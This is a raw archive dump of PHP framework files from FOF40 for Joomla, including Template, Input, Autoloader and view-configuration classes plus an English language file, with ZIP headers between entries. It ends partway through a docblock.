/** * Returns all lower and upper case permutations of the database prefix * * @return array */ protected function getPrefixCasePermutations() { if (empty(self::$prefixCasePermutations)) { $prefix = $this->getDbo()->getPrefix(); $suffix = ''; if (substr($prefix, -1) == '_') { $suffix = '_'; $prefix = substr($prefix, 0, -1); } $letters = str_split($prefix, 1); $permutations = ['']; foreach ($letters as $nextLetter) { $lower = strtolower($nextLetter); $upper = strtoupper($nextLetter); $ret = []; foreach ($permutations as $perm) { $ret[] = $perm . $lower; if ($lower !== $upper) { $ret[] = $perm . $upper; } $permutations = $ret; } } $permutations = array_merge([ strtolower($prefix), strtoupper($prefix), ], $permutations); $permutations = array_map(function ($x) use ($suffix) { return $x . $suffix; }, $permutations); self::$prefixCasePermutations = array_unique($permutations); } return self::$prefixCasePermutations; } } PK���\:�R<��fof40/language/index.htmlnu&1i�<!--~ ~ @package FOF ~ @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd ~ @license GNU General Public License version 3, or later --> <html><head><title></title></head><body></body></html>PK���\���xx(fof40/language/en-GB/en-GB.lib_fof40.ininu&1i�;; @package FOF ;; @copyright Copyright (c)2010-2019 Nicholas K. Dionysopoulos / Akeeba Ltd ;; @license GNU GPL version 3 or later ; Download helper LIB_FOF40_DOWNLOAD_ERR_COULDNOTDOWNLOADFROMURL="Could not download from %s" LIB_FOF40_DOWNLOAD_ERR_COULDNOTWRITELOCALFILE="Local file %s is not writeable" LIB_FOF40_DOWNLOAD_ERR_CURL_ERROR="The download failed: cURL error %s: %s" LIB_FOF40_DOWNLOAD_ERR_FOPEN_ERROR="The download failed: fopen returned no header information" LIB_FOF40_DOWNLOAD_ERR_HTTPERROR="Unexpected HTTP status %s" LIB_FOF40_MODEL_ERR_GET_NAME="FOF: Model: Cannot get Model's name" LIB_FOF40_CONTROLLER_ERR_GET_NAME="FOF: Controller: Cannot get Controller's name" LIB_FOF40_VIEW_ERR_GET_NAME="FOF: Controller: Cannot get View's name" LIB_FOF40_TRANSPARENTAUTH_ERR_NOT_FOUND="FOF: TransparentAuthentication %s not found" LIB_FOF40_DISPATCHER_ERR_NOT_FOUND="FOF: Dispatcher %s not found" LIB_FOF40_TOOLBAR_ERR_NOT_FOUND="FOF: Toolbar %s not found" LIB_FOF40_CONTROLLER_ERR_NOT_FOUND="FOF: Controller %s not found" LIB_FOF40_MODEL_ERR_NOT_FOUND="FOF: Model %s not found" LIB_FOF40_VIEW_ERR_NOT_FOUND="FOF: View %s not found" LIB_FOF40_CONTROLLER_ERR_LOCKED="This item is already checked out by another user" LIB_FOF40_TRANSPARENTAUTHENTICATION_INVALIDAUTHMETHOD="Invalid Transparent Authentication method '%u'." LIB_FOF40_MODEL_ERR_BIND="FOF: %s::bind() argument is %s, not an object or array" LIB_FOF40_MODEL_ERR_COULDNOTLOAD="Could not load record" LIB_FOF40_MODEL_ERR_NOITEMSFOUND="No items found in %s" LIB_FOF40_MODEL_ERR_CANNOTLOCKNOTLOADEDRECORD="Cannot lock a record which has not been loaded" LIB_FOF40_MODEL_ERR_NOASSETKEY="Table must have an asset key defined and a value for the table id in order to track assets" LIB_FOF40_MODEL_ERR_NOCONTENTTYPE="Content type for %s is not set." LIB_FOF40_MODEL_ERR_TREE_INCOMPATIBLETABLE="Database table %s is not compatible with TreeModel: it does not have lft/rgt columns" LIB_FOF40_MODEL_ERR_TREE_UNEXPECTEDPK="No primary key provided or deleting this record is not allowed" LIB_FOF40_MODEL_ERR_TREE_UNSUPPORTEDMETHOD="Method %s() is not supported by TreeModel" LIB_FOF40_MODEL_ERR_TREE_ONLYINROOT="Method %s() is only allowed for root nodes" LIB_FOF40_MODEL_ERR_TREE_INVALIDLFTRGT_PARENT="Invalid lft/rgt values in parent node" LIB_FOF40_MODEL_ERR_TREE_INVALIDLFTRGT_SIBLING="Invalid lft/rgt values in sibling node" LIB_FOF40_MODEL_ERR_TREE_INVALIDLFTRGT_OTHER="Invalid lft/rgt values in current node" LIB_FOF40_MODEL_ERR_TREE_INVALIDLFTRGT_CURRENT="Invalid lft/rgt values in other node" LIB_FOF40_MODEL_ERR_TREE_ROOTNOTFOUND="No root found for table %s, node lft=%s" LIB_FOF40_MODEL_ERR_FILTER_INVALIDFIELD="Invalid field object" LIB_FOF40_MODEL_ERR_FILTER_NODBOBJECT="Database object unspecified creating a %s filter" LIB_FOF40_TOOLBAR_ERR_MISSINGARGUMENT="The '%s' attribute is required for the '%s' button type" LIB_FOF40_TOOLBAR_ERR_UNKNOWNBUTTONTYPE="Unknown button type %s" LIB_FOF40_VIEW_MODELNOTINVIEW="The model %s does not exist in view %s" LIB_FOF40_VIEW_UNRECOGNISEDEXTENSION="FOF: Unrecognised extension in view template %s" LIB_FOF40_VIEW_POSSIBLYSUHOSIN="FOF: Could not write to your cache directory. Please make your cache directories (cache and administrator/cache under your site's root) writeable to PHP by changing the permissions. Alternatively, ask your host to make sure that they have not disabled the stream_wrapper_register() function in PHP. Moreover, if your host is using the Suhosin patch for PHP ask them to whitelist the fof:// stream wrapper in their server's php.ini file. If you do not understand what this means please contact your host and paste this entire message to them." PK���\@к�oGoGfof40/Template/Template.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Template; defined('_JEXEC') || die; use FOF40\Container\Container; use Joomla\CMS\Document\Document; use Joomla\CMS\Helper\ModuleHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use stdClass; /** * A utility class to load view templates, media files and modules. * * @since 1.0 */ class Template { /** * The component container * * @var Container */ protected $container; /** * Public constructor * * @param Container $container The component container */ function __construct(Container $container) { $this->container = $container; } /** * Add a CSS file to the page generated by the CMS * * @param string $uri A path definition understood by parsePath, e.g. media://com_example/css/foo.css * @param string|null $version (optional) Version string to be added to the URL * @param string $type MIME type of the stylesheeet * @param string $media Media target definition of the style sheet, e.g. "screen" * @param array $attribs Array of attributes * * @see self::parsePath * * @return void */ public function addCSS(string $uri, ?string $version = null, string $type = 'text/css', ?string $media = null, array $attribs = []): void { if ($this->container->platform->isCli()) { return; } // Make sure we have attributes if (empty($attribs) || !is_array($attribs)) { $attribs = []; } $url = $this->parsePath($uri); $document = $this->container->platform->getDocument(); $options = [ 'version' => is_null($version) ? null : ((string) $version), ]; $attribs['type'] = $type; if (!empty($media)) { $attribs['media'] = $media; } $document->addStyleSheet($url, $options, $attribs); } /** * Add a JS script file to the page generated by the CMS. * * There are three combinations of defer and async (see http://www.w3schools.com/tags/att_script_defer.asp): * * $defer false, $async true: The script is executed asynchronously with the rest of the page * (the script will be executed while the page continues the parsing) * * $defer true, $async false: The script is executed when the page has finished parsing. * * $defer false, $async false. (default) The script is loaded and executed immediately. When it finishes * loading the browser continues parsing the rest of the page. * * When you are using $async = true there is no guarantee about the load order of the scripts. Whichever * script loads first will be executed first. The order they appear on the page is completely irrelevant. * * If you set both async and defer to true it's the same as setting only async to true. That is to say, scripts will * be loaded and executed in an order that is NOT guaranteed. Only set async for completely standalone scripts. * * If you are using defer you should pass script options using $this->container->platform->addScriptOptions(). This * will add the script options as a JSON document in the document head. You can retrieve these options client-side * with Joomla.getOptions() as long as the Joomla core JS has already been loaded, i.e. your deferred script is * added AFTER Joomla's core code. * * @param string $uri A path definition understood by parsePath, e.g. media://com_example/js/foo.js * @param boolean $defer Adds the defer attribute, see above * @param boolean $async Adds the async attribute, see above * @param string|null $version (optional) Version string to be added to the URL * @param string $type MIME type of the script * * @see self::parsePath * * @return void */ public function addJS(string $uri, bool $defer = false, bool $async = false, ?string $version = null, string $type = 'text/javascript'): void { if ($this->container->platform->isCli()) { return; } $url = $this->container->template->parsePath($uri); $document = $this->container->platform->getDocument(); // Setting both defer and async is nonsense. Only async makes sense in this case. if ($defer && $async) { $defer = false; } $options = [ 'version' => is_null($version) ? null : ((string) $version), ]; $attribs['defer'] = $defer; $attribs['async'] = $async; if (!empty($media)) { $attribs['mime'] = $type; } $document->addScript($url, $options, $attribs); } /** * Adds an inline JavaScript script to the page header * * @param string $script The script content to add * @param string $type The MIME type of the script */ public function addJSInline(string $script, string $type = 'text/javascript'): void { if ($this->container->platform->isCli()) { return; } $document = $this->container->platform->getDocument(); if (!method_exists($document, 'addScriptDeclaration')) { return; } $document->addScriptDeclaration($script, $type); } /** * Adds an inline stylesheet (inline CSS) to the page header * * @param string $css The stylesheet content to add * @param string $type The MIME type of the script */ public function addCSSInline(string $css, string $type = 'text/css'): void { if ($this->container->platform->isCli()) { return; } $document = $this->container->platform->getDocument(); if (!method_exists($document, 'addStyleDeclaration')) { return; } $document->addStyleDeclaration($css, $type); } /** * Creates a SEF compatible sort header. Standard Joomla function will add a href="#" tag, so with SEF * enabled, the browser will follow the fake link instead of processing the onSubmit event; so we * need a fix. * * @param string $text Header text * @param string $field Field used for sorting * @param stdClass $list Object holding the direction and the ordering field * * @return string HTML code for sorting */ public function sefSort(string $text, string $field, stdClass $list): string { $sort = HTMLHelper::_('grid.sort', Text::_(strtoupper($text)) . ' ', $field, $list->order_Dir, $list->order); return str_replace('href="#"', 'href="javascript:void(0);"', $sort); } /** * Parse a fancy path definition into a path relative to the site's root, * respecting template overrides, suitable for inclusion of media files. * For example, media://com_foobar/css/test.css is parsed into * media/com_foobar/css/test.css if no override is found, or * templates/mytemplate/media/com_foobar/css/test.css if the current * template is called mytemplate and there's a media override for it. * * Regarding plugins, templates are searched inside the plugin's tmpl directory and the template's html directory. * For instance considering plugin://system/example/something the files will be looked for in: * plugins/system/example/tmpl/something.php * templates/yourTemplate/html/plg_system_example/something.php * Template paths for plugins are uncommon and not standard Joomla! practice. They make sense when you are * implementing features of your component as plugins and they need to provide HTML output, e.g. some of the * integration plugins we use in Akeeba Subscriptions. * * The valid protocols are: * * media:// The media directory or a media override * plugin:// Given as plugin://pluginType/pluginName/template, e.g. plugin://system/example/something * admin:// Path relative to administrator directory (no overrides) * site:// Path relative to site's root (no overrides) * auto:// Automatically guess if it should be site:// or admin:// * module:// The module directory or a template override (must be module://moduleName/templateName) * * @param string $path Fancy path * @param boolean $localFile When true, it returns the local path, not the URL * * @return string Parsed path * * @see self::getAltPaths * */ public function parsePath(string $path, bool $localFile = false): string { $separatorPosition = strpos($path, '://'); if ($separatorPosition === false) { return $path; } $protocol = substr($path, 0, $separatorPosition); switch ($protocol) { case 'media': case 'plugin': case 'module': case 'auto': case 'admin': case 'site': break; default: return $path; } // Get the platform directories through the container $platformDirs = $this->container->platform->getPlatformBaseDirs(); $url = $localFile ? (rtrim($platformDirs['root'], DIRECTORY_SEPARATOR) . '/') : $this->container->platform->URIroot(); $altPaths = $this->getAltPaths($path); $filePath = $altPaths['normal']; // If JDEBUG is enabled, prefer the debug path, else prefer an alternate path if present if (defined('JDEBUG') && JDEBUG && isset($altPaths['debug'])) { if (file_exists($platformDirs['public'] . '/' . $altPaths['debug'])) { $filePath = $altPaths['debug']; } } elseif (isset($altPaths['alternate'])) { if (file_exists($platformDirs['public'] . '/' . $altPaths['alternate'])) { $filePath = $altPaths['alternate']; } } return $url . $filePath; } /** * Parse a fancy path definition into a path relative to the site's root. * It returns both the normal and alternative (template media override) path. * For example, media://com_foobar/css/test.css is parsed into * array( * 'normal' => 'media/com_foobar/css/test.css', * 'alternate' => 'templates/mytemplate/media/com_foobar/css//test.css' * ); * * The valid protocols are: * media:// The media directory or a media override * admin:// Path relative to administrator directory (no alternate) * site:// Path relative to site's root (no alternate) * auto:// Automatically guess if it should be site:// or admin:// * plugin:// The plugin directory or a template override (must be plugin://pluginType/pluginName/templateName) * module:// The module directory or a template override (must be module://moduleName/templateName) * * @param string $path Fancy path * * @return array Array of normal and alternate parsed path */ public function getAltPaths(string $path): array { $protoAndPath = explode('://', $path, 2); if (count($protoAndPath) < 2) { $protocol = 'media'; } else { $protocol = $protoAndPath[0]; $path = $protoAndPath[1]; } if ($protocol == 'auto') { $protocol = $this->container->platform->isBackend() ? 'admin' : 'site'; } $path = ltrim($path, '/' . DIRECTORY_SEPARATOR); switch ($protocol) { case 'media': // Do we have a media override in the template? $pathAndParams = explode('?', $path, 2); $ret = [ 'normal' => 'media/' . $pathAndParams[0], 'alternate' => $this->container->platform->getTemplateOverridePath('media:/' . $pathAndParams[0], false), ]; break; case 'plugin': // The path is pluginType/pluginName/viewTemplate $pathInfo = explode('/', $path); $pluginType = $pathInfo[0] ?? 'system'; $pluginName = $pathInfo[1] ?? 'foobar'; $viewTemplate = $pathInfo[2] ?? 'default'; $pluginSystemName = 'plg_' . $pluginType . '_' . $pluginName; $ret = [ 'normal' => 'plugins/' . $pluginType . '/' . $pluginName . '/tmpl/' . $viewTemplate, 'alternate' => $this->container->platform->getTemplateOverridePath($pluginSystemName . '/' . $viewTemplate, false), ]; break; case 'module': // The path is moduleName/viewTemplate $pathInfo = explode('/', $path, 2); $moduleName = $pathInfo[0] ?? 'foobar'; $viewTemplate = $pathInfo[1] ?? 'default'; $moduleSystemName = 'mod_' . $moduleName; $basePath = $this->container->platform->isBackend() ? 'administrator/' : ''; $ret = [ 'normal' => $basePath . 'modules/' . $moduleSystemName . '/tmpl/' . $viewTemplate, 'alternate' => $this->container->platform->getTemplateOverridePath($moduleSystemName . '/' . $viewTemplate, false), ]; break; case 'admin': $ret = [ 'normal' => 'administrator/' . $path, ]; break; default: case 'site': $ret = [ 'normal' => $path, ]; break; } // For CSS and JS files, add a debug path if the supplied file is compressed $filesystem = $this->container->filesystem; $ext = $filesystem->getExt($ret['normal']); if (in_array($ext, ['css', 'js'])) { $file = basename($filesystem->stripExt($ret['normal'])); /* * Detect if we received a file in the format name.min.ext * If so, strip the .min part out, otherwise append -uncompressed */ if (strlen($file) > 4 && strrpos($file, '.min', '-4')) { $position = strrpos($file, '.min', '-4'); $filename = str_replace('.min', '.', $file, $position) . $ext; } else { $filename = $file . '-uncompressed.' . $ext; } // Clone the $ret array so we can manipulate the 'normal' path a bit $t1 = (object) $ret; $temp = clone $t1; unset($t1); $temp = (array) $temp; $normalPath = explode('/', $temp['normal']); array_pop($normalPath); $normalPath[] = $filename; $ret['debug'] = implode('/', $normalPath); } return $ret; } /** * Returns the contents of a module position * * @param string $position The position name, e.g. "position-1" * @param int $style Rendering style, see ModuleRenderer::render * * @return string The contents of the module position */ public function loadPosition(string $position, int $style = -2): string { $document = $this->container->platform->getDocument(); if (!($document instanceof Document)) { return ''; } if (!method_exists($document, 'loadRenderer')) { return ''; } try { $renderer = $document->loadRenderer('module'); } catch (\Exception $exc) { return ''; } $params = ['style' => $style]; $contents = ''; foreach (ModuleHelper::getModules($position) as $mod) { $contents .= $renderer->render($mod, $params); } return $contents; } /** * Render a module by name * * @param string $moduleName The name of the module (real, eg 'Breadcrumbs' or folder, eg 'mod_breadcrumbs') * @param int $style The rendering style, see ModuleRenderer::render * * @return string The rendered module */ public function loadModule(string $moduleName, int $style = -2): string { $document = $this->container->platform->getDocument(); if (!($document instanceof Document)) { return ''; } if (!method_exists($document, 'loadRenderer')) { return ''; } try { $renderer = $document->loadRenderer('module'); } catch (\Exception $exc) { return ''; } $params = ['style' => $style]; $mod = ModuleHelper::getModule($moduleName); if (empty($mod)) { return ''; } return $renderer->render($mod, $params); } /** * Performs SEF routing on a non-SEF URL, returning the SEF URL. * * When the $merge option is set to true the option, view, layout and format parameters of the current URL and the * requested route will be merged. For example, assuming that current url is * http://example.com/index.php?option=com_foo&view=cpanel * then * $template->route('view=categories&layout=tree'); * will result to * http://example.com/index.php?option=com_foo&view=categories&layout=tree * * If $merge is unspecified (null) we will auto-detect the intended behavior. If you haven't specified option and * one of view or task we will merge. Otherwise no merging takes place. This covers most use cases of FOF 3.0. * * @param string $route The parameters string * @param bool $merge Should I perform parameter merging? * * @return string The human readable, complete url */ public function route(string $route = '', bool $merge = null): string { $route = trim($route); /** * Backwards compatibility with FOF 3.0: if the merge option is unspecified we will auto-detect the behaviour. * If option and either one of view or task are present we won't merge. */ if (is_null($merge)) { $hasOption = (strpos($route, 'option=') !== false); $hasView = (strpos($route, 'view=') !== false); $hasTask = (strpos($route, 'task=') !== false); $merge = !($hasOption && ($hasView || $hasTask)); } if ($merge) { // Handle special cases before trying to merge if ($route == 'index.php' || $route == 'index.php?') { $result = 'index.php'; } elseif (substr($route, 0, 1) == '&') { $url = Uri::getInstance(); $vars = []; parse_str($route, $vars); $url->setQuery(array_merge($url->getQuery(true), $vars)); $result = 'index.php?' . $url->getQuery(); } else { $url = Uri::getInstance(); $props = $url->getQuery(true); // Strip 'index.php?' if (substr($route, 0, 10) == 'index.php?') { $route = substr($route, 10); } // Parse route $parts = []; parse_str($route, $parts); $result = []; // Check to see if there is component information in the route if not add it if (!isset($parts['option']) && isset($props['option'])) { $result[] = 'option=' . $props['option']; } // Add the layout information to the route only if it's not 'default' if (!isset($parts['view']) && isset($props['view'])) { $result[] = 'view=' . $props['view']; if (!isset($parts['layout']) && isset($props['layout'])) { $result[] = 'layout=' . $props['layout']; } } // Add the format information to the URL only if it's not 'html' if (!isset($parts['format']) && isset($props['format']) && $props['format'] != 'html') { $result[] = 'format=' . $props['format']; } // Reconstruct the route if (!empty($route)) { $result[] = $route; } $result = 'index.php?' . implode('&', $result); } } else { $result = $route; } return Route::_($result); } } PK���\�(�1qqfof40/Input/Input.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Input; defined('_JEXEC') || die; use Exception; use JFilterInput; use Joomla\CMS\Factory; use Joomla\CMS\Filter\InputFilter; use Joomla\Input\Input as JoomlaInput; use ReflectionObject; class Input extends JoomlaInput { /** * Public constructor. Overridden to allow specifying the global input array * to use as a string and instantiate from an object holding variables. * * @param array|string|object|null $source Source data; set null to use $_REQUEST * @param array $options Filter options */ public function __construct($source = null, array $options = []) { $hash = null; if (is_string($source)) { $hash = strtoupper($source); if (!in_array($hash, ['GET', 'POST', 'FILES', 'COOKIE', 'ENV', 'SERVER', 'REQUEST'])) { $hash = 'REQUEST'; } $source = $this->extractJoomlaSource($hash); } elseif (is_object($source) && ($source instanceof Input)) { $source = $source->getData(); } elseif (is_object($source) && ($source instanceof JoomlaInput)) { $serialised = $source->serialize(); [$xOptions, $xData, $xInput] = unserialize($serialised); unset ($xOptions); unset ($xInput); unset ($source); $source = $xData; unset ($xData); } elseif (is_object($source)) { try { $source = (array) $source; } catch (Exception $exc) { $source = null; } } /** @noinspection PhpStatementHasEmptyBodyInspection */ elseif (is_array($source)) { // Nothing, it's already an array } else { // Any other case $source = null; } // TODO Joomla 4 -- get the data from the application input // If we are not sure use the REQUEST array if (empty($source)) { $source = $this->extractJoomlaSource(); } parent::__construct($source, $options); } /** * Gets a value from the input data. Overridden to allow specifying a filter * mask. * * @param string $name Name of the value to get. * @param mixed $default Default value to return if variable does not exist. * @param string $filter Filter to apply to the value. * @param int $mask The filter mask * * @return mixed The filtered input value. */ public function get($name, $default = null, $filter = 'cmd', $mask = 0) { if (isset($this->data[$name])) { return $this->_cleanVar($this->data[$name], $mask, $filter); } return $default; } /** * Remove a key from the input data. * * @param string $name The key name to remove from the input data. * * @return void * @since 3.6.3 */ public function remove($name) { if (!isset($this->data[$name])) { return; } unset($this->data[$name]); } /** * Returns a copy of the raw data stored in the class * * @return array */ public function getData(): array { return $this->data; } /** * Override all the raw data stored in the class. USE SPARINGLY. * * @param array $data */ public function setData(array $data): void { $this->data = $data; } /** * Magic method to get filtered input data. * * @param mixed $name Name of the value to get. * @param string $arguments [0] The name of the variable [1] The default value [2] Mask * * @return boolean The filtered boolean input value. */ public function __call($name, $arguments) { if (substr($name, 0, 3) == 'get') { $filter = substr($name, 3); $default = null; $mask = 0; if (isset($arguments[1])) { $default = $arguments[1]; } if (isset($arguments[2])) { $mask = $arguments[2]; } return $this->get($arguments[0], $default, $filter, $mask); } } /** * Custom filter implementation. Works better with arrays and allows the use * of a filter mask. * * @param mixed $var The variable (value) to clean * @param integer $mask The clean mask * @param string $type The variable type * * @return mixed */ protected function _cleanVar($var, $mask = 0, $type = null) { if (is_array($var)) { $temp = []; foreach ($var as $k => $v) { $temp[$k] = self::_cleanVar($v, $mask); } return $temp; } // If the no trim flag is not set, trim the variable if (!($mask & 1) && is_string($var)) { $var = trim($var); } // Now we handle input filtering if ($mask & 2) { // If the allow raw flag is set, do not modify the variable } elseif ($mask & 4) { // If the allow HTML flag is set, apply a safe HTML filter to the variable if (version_compare(JVERSION, '3.999.999', 'le')) { $safeHtmlFilter = InputFilter::getInstance(null, null, 1, 1); } else { /** * @noinspection PhpDeprecationInspection */ $safeHtmlFilter = JFilterInput::getInstance([], [], 1, 1); } $var = $safeHtmlFilter->clean($var, $type); } else { $var = $this->filter->clean($var, $type); } return $var; } /** * @param string $hash * * @return array */ protected function extractJoomlaSource($hash = 'REQUEST') { if (!in_array(strtoupper($hash), ['GET', 'POST', 'FILES', 'COOKIE', 'ENV', 'SERVER', 'REQUEST'])) { $hash = 'REQUEST'; } $hash = strtolower($hash); try { $input = Factory::getApplication()->input; } catch (Exception $e) { $input = new JoomlaInput(); } if ($hash !== 'request') { $input = $input->{$hash}; } $refObject = new ReflectionObject($input); $refProp = $refObject->getProperty('data'); $refProp->setAccessible(true); return $refProp->getValue($input) ?? []; } } PK���\S�F F fof40/Autoloader/Autoloader.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Autoloader; defined('_JEXEC') || die; // Do not put the JEXEC or die check on this file (necessary omission for testing) use InvalidArgumentException; /** * A PSR-4 class autoloader. This is a modified version of Composer's ClassLoader class * * @codeCoverageIgnore */ class Autoloader { /** * Class aliases. Maps an old, obsolete class name to the new one. * * @var array */ protected static $aliases = [ 'FOF40\Utils\CacheCleaner' => 'FOF40\JoomlaAbstraction\CacheCleaner', 'FOF40\Utils\ComponentVersion' => 'FOF40\JoomlaAbstraction\ComponentVersion', 'FOF40\Utils\DynamicGroups' => 'FOF40\JoomlaAbstraction\DynamicGroups', 'FOF40\Utils\FEFHelper\BrowseView' => 'FOF40\Html\FEFHelper\BrowseView', 'FOF40\Utils\InstallScript\BaseInstaller' => 'FOF40\InstallScript\BaseInstaller', 'FOF40\Utils\InstallScript\Component' => 'FOF40\InstallScript\Component', 'FOF40\Utils\InstallScript\Module' => 'FOF40\InstallScript\Module', 'FOF40\Utils\InstallScript\Plugin' => 'FOF40\InstallScript\Plugin', 'FOF40\Utils\InstallScript' => 'FOF40\InstallScript\Component', 'FOF40\Utils\Ip' => 'FOF40\IP\IPHelper', 'FOF40\Utils\SelectOptions' => 'FOF40\Html\SelectOptions', 'FOF40\Utils\TimezoneWrangler' => 'FOF40\Date\TimezoneWrangler', ]; /** @var Autoloader The static instance of this autoloader */ private static $instance; /** @var array Lengths of PSR-4 prefixes */ private $prefixLengths = []; /** @var array Prefix to directory map */ private $prefixDirs = []; /** @var array Fall-back directories */ private $fallbackDirs = []; /** * @return Autoloader */ public static function getInstance(): self { if (!is_object(self::$instance)) { self::$instance = new Autoloader(); } return self::$instance; } /** * Returns the prefix to directory map * * @return array * * @noinspection PhpUnused */ public function getPrefixes(): array { return $this->prefixDirs; } /** * Returns the list of fall=back directories * * @return array * * @noinspection PhpUnused */ public function getFallbackDirs(): array { return $this->fallbackDirs; } /** * Registers a set of PSR-4 directories for a given namespace, either * appending or prefixing to the ones previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param array|string $paths The PSR-0 base directories * @param boolean $prepend Whether to prefix the directories * * @return $this for chaining * * @throws InvalidArgumentException When the prefix is invalid */ public function addMap(string $prefix, $paths, bool $prepend = false): self { if (!is_string($paths) && !is_array($paths)) { throw new InvalidArgumentException(sprintf('%s::%s -- $paths expects a string or array', __CLASS__, __METHOD__)); } if ($prefix !== '') { $prefix = ltrim($prefix, '\\'); } if ($prefix === '') { // Register directories for the root namespace. if ($prepend) { $this->fallbackDirs = array_merge( (array) $paths, $this->fallbackDirs ); $this->fallbackDirs = array_unique($this->fallbackDirs); } else { $this->fallbackDirs = array_merge( $this->fallbackDirs, (array) $paths ); $this->fallbackDirs = array_unique($this->fallbackDirs); } } elseif (!isset($this->prefixDirs[$prefix])) { // Register directories for a new namespace. $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengths[$prefix[0]][$prefix] = $length; $this->prefixDirs[$prefix] = (array) $paths; } elseif ($prepend) { // Prepend directories for an already registered namespace. $this->prefixDirs[$prefix] = array_merge( (array) $paths, $this->prefixDirs[$prefix] ); $this->prefixDirs[$prefix] = array_unique($this->prefixDirs[$prefix]); } else { // Append directories for an already registered namespace. $this->prefixDirs[$prefix] = array_merge( $this->prefixDirs[$prefix], (array) $paths ); $this->prefixDirs[$prefix] = array_unique($this->prefixDirs[$prefix]); } return $this; } /** * Does the autoloader have a map for the specified prefix? * * @param string $prefix * * @return bool */ public function hasMap($prefix) { return isset($this->prefixDirs[$prefix]); } /** * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param array|string $paths The PSR-4 base directories * * @return void * * @throws InvalidArgumentException When the prefix is invalid * @noinspection PhpUnused */ public function setMap(string $prefix, $paths) { if ($prefix !== '') { $prefix = ltrim($prefix, '\\'); } if ($prefix === '') { $this->fallbackDirs = (array) $paths; } else { $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengths[$prefix[0]][$prefix] = $length; $this->prefixDirs[$prefix] = (array) $paths; } } /** * Registers this instance as an autoloader. * * @param boolean $prepend Whether to prepend the autoloader or not * * @return void */ public function register($prepend = false) { spl_autoload_register([$this, 'loadClass'], true, $prepend); } /** * Unregisters this instance as an autoloader. * * @return void */ public function unregister() { spl_autoload_unregister([$this, 'loadClass']); } /** * Loads the given class or interface. * * @param string $class The name of the class * * @return boolean|null True if loaded, null otherwise */ public function loadClass($class) { if (class_exists($class, false)) { return null; } if ($file = $this->findFile($class)) { /** @noinspection PhpIncludeInspection */ include $file; return true; } if (array_key_exists($class, self::$aliases)) { $newClass = self::$aliases[$class]; $foundAliasedClass = $this->loadClass($newClass); if ($foundAliasedClass === true) { class_alias($newClass, $class); return true; } } return null; } /** * Finds the path to the file where the class is defined. * * @param string $class The name of the class * * @return string|false The path if found, false otherwise */ public function findFile($class) { // work around for PHP 5.3.0 - 5.3.2 https://bugs.php.net/50731 if ('\\' == $class[0]) { $class = substr($class, 1); } // FEFHelper lookup if (substr($class, 0, 7) == 'FEFHelp' && file_exists($file = realpath(__DIR__ . '/..') . '/Html/FEFHelper/' . strtolower(substr($class, 7)) . '.php')) { return $file; } // PSR-4 lookup $logicalPath = strtr($class, '\\', DIRECTORY_SEPARATOR) . '.php'; $first = $class[0]; if (isset($this->prefixLengths[$first])) { foreach ($this->prefixLengths[$first] as $prefix => $length) { if (0 === strpos($class, $prefix)) { foreach ($this->prefixDirs[$prefix] as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . substr($logicalPath, $length))) { return $file; } } } } } // PSR-4 fallback dirs foreach ($this->fallbackDirs as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPath)) { return $file; } } return false; } } // Register the current namespace with the autoloader Autoloader::getInstance()->addMap('FOF40\\', [realpath(__DIR__ . '/..')]); Autoloader::getInstance()->register(); PK���\�a�!!$fof40/Configuration/Domain/Views.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Configuration\Domain; use SimpleXMLElement; defined('_JEXEC') || die; /** * Configuration parser for the view-specific settings * * @since 2.1 */ class Views implements DomainInterface { /** * Parse the XML data, adding them to the $ret array * * @param SimpleXMLElement $xml The XML data of the component's configuration area * @param array &$ret The parsed data, in the form of a hash array * * @return void */ public function parseDomain(SimpleXMLElement $xml, array &$ret): void { // Initialise $ret['views'] = []; // Parse view configuration $viewData = $xml->xpath('view'); // Sanity check if (empty($viewData)) { return; } foreach ($viewData as $aView) { $key = (string) $aView['name']; // Parse ACL options $ret['views'][$key]['acl'] = []; $aclData = $aView->xpath('acl/task'); foreach ($aclData as $acl) { $k = (string) $acl['name']; $ret['views'][$key]['acl'][$k] = (string) $acl; } // Parse taskmap $ret['views'][$key]['taskmap'] = []; $taskmapData = $aView->xpath('taskmap/task'); foreach ($taskmapData as $map) { $k = (string) $map['name']; $ret['views'][$key]['taskmap'][$k] = (string) $map; } // Parse controller configuration $ret['views'][$key]['config'] = []; $optionData = $aView->xpath('config/option'); foreach ($optionData as $option) { $k = (string) $option['name']; $ret['views'][$key]['config'][$k] = (string) $option; } // Parse the toolbar $ret['views'][$key]['toolbar'] = []; $toolBars = $aView->xpath('toolbar'); foreach ($toolBars as $toolBar) { $taskName = isset($toolBar['task']) ? (string) $toolBar['task'] : '*'; // If a toolbar title is specified, create a title element. if (isset($toolBar['title'])) { $ret['views'][$key]['toolbar'][$taskName]['title'] = [ 'value' => (string) $toolBar['title'], ]; } // Parse the toolbar buttons data $toolbarData = $toolBar->xpath('button'); foreach ($toolbarData as $button) { $k = (string) $button['type']; $ret['views'][$key]['toolbar'][$taskName][$k] = current($button->attributes()); $ret['views'][$key]['toolbar'][$taskName][$k]['value'] = (string) $button; } } } } /** * Return a configuration variable * * @param string &$configuration Configuration variables 